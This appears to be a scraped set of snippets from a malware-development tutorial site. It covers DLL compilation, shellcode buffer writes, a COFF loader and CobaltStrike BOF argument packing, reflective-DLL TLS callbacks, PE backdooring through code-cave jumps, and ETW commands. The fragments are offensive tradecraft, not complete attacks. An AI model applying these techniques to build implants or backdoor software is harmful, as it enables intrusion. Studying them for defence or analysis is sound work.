cl.exe Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html Compiles a C++ source file into a Windows DLL. Key flags include /D_USRDLL and /link /DLL to specify DLL creation, and /MT for multithreading support. ```shell cl.exe /D_USRDLL /D_WINDLL ${dllCode.cpp} /MT /link /DLL /OUT:${dllFile.dll} ``` -------------------------------- ### Write Shellcode to Buffer Source: https://otterhacker.github.io/Malware/Docs/Tools/Radare2.html Instructions for writing binary data or hexadecimal shellcode into the currently allocated Radare2 memory buffer using the 'wx' command. ```Radare2 wx 554889e548c705.... ``` -------------------------------- ### Allocate GOT Memory (Pseudo-code) Source: https://otterhacker.github.io/Malware/CoffLoader.html This pseudo-code demonstrates allocating memory for the Global Offset Table (GOT), which is used to store addresses of external functions. The allocated size is 1024 bytes. ```pseudo-code void *got = VirtualAlloc(1024); ``` -------------------------------- ### Saving and Restoring Machine State Source: https://otterhacker.github.io/Malware/Introduction/5%20-%20Backdooring%20PE.html Essential shellcode operations to preserve the CPU state (registers and flags) before execution and restore them afterward to prevent program crashes. ```Assembly ; Save state pushad pushfd ; ... shellcode execution ... ; Restore state popfd popad ``` -------------------------------- ### Format Parameters for CobaltStrike BOF Source: https://otterhacker.github.io/Malware/CoffLoader.html Provides a structure and function to pack arguments into the binary format expected by CobaltStrike BOFs. It handles length-prefixed blobs for strings and raw values for numeric types. ```C typedef struct _Arg { void* value; size_t size; BOOL includeSize; } Arg; void PackData(Arg* args, size_t numberOfArgs, char** output, size_t* size) { uint32_t fullSize = 0; for (size_t i = 0; i < numberOfArgs; i++) { Arg arg = args[i]; fullSize += sizeof(uint32_t) + arg.size; } *output = (void*)malloc(sizeof(uint32_t) + fullSize); fullSize = 4; for (size_t i = 0; i < numberOfArgs; i++) { Arg arg = args[i]; if (arg.includeSize == TRUE) { memcpy(*output + fullSize, &arg.size, sizeof(uint32_t)); fullSize += sizeof(uint32_t); } memcpy(*output + fullSize, arg.value, arg.size); fullSize += arg.size; } memcpy(*output, &fullSize, sizeof(uint32_t)); *size = fullSize; } ``` -------------------------------- ### Inspect specific ETW tracing session details Source: https://otterhacker.github.io/Malware/ETW.html Retrieves detailed configuration information for a specific tracing session, including associated providers, output paths, and buffer settings. ```cmd logman query iclsClient -ets ``` -------------------------------- ### Execute TLS Callbacks for PE Files Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html Iterates through the TLS directory of a parsed PE file to execute registered callback functions. This is commonly used in malware for anti-debugging or environment setup. ```C/C++ // Check if any TLS callback is defined if (dllParsed->dataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) { // Get the TLS information PIMAGE_TLS_DIRECTORY tlsDir = startAddress + dllParsed->dataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress // Get the TLS function address PIMAGE_TLS_CALLBACK* callback = (PIMAGE_TLS_CALLBACK*)(tlsDir->AddressOfCallBacks); for (; *callback; callback++) { // Call the function (*callback)((PVOID)dllParsed->baseAddress, DLL_PROCESS_ATTACH, NULL); } } ``` -------------------------------- ### Patching Execution Flow with JMP Source: https://otterhacker.github.io/Malware/Introduction/5%20-%20Backdooring%20PE.html Redirects the program execution flow to a designated code cave address. This instruction replaces existing code, requiring the original instructions to be saved and restored later. ```Assembly jmp ${codeCaveAddress} ``` -------------------------------- ### Display Executable Sections with Dumpbin Source: https://otterhacker.github.io/Malware/Docs/Dumpbin.html Commands to list section headers or specific section information from a PE file. These commands require the path to the executable and optionally the target section name. ```shell dumpbin.exe /SECTION ${exe} ``` ```shell dumpbin.exe /SECTION:${sectionName} ${exe} ``` -------------------------------- ### Manage ETW tracing sessions Source: https://otterhacker.github.io/Malware/ETW.html Commands to create, update, and stop ETW tracing sessions. These operations allow for the dynamic addition or removal of providers to a session and the finalization of the resulting .etl log file. ```cmd :: Create a new trace session logman create trace ${tracingSessionName} -ets :: Add a provider to the session logman update ${tracingSessionName} -p ${providerName} ${eventValue} -ets :: Remove a provider from the session logman update trace ${tracingSessionName} --p ${providerName} ${eventValue} -ets :: Stop the tracing session logman stop spotless-tracing -ets ```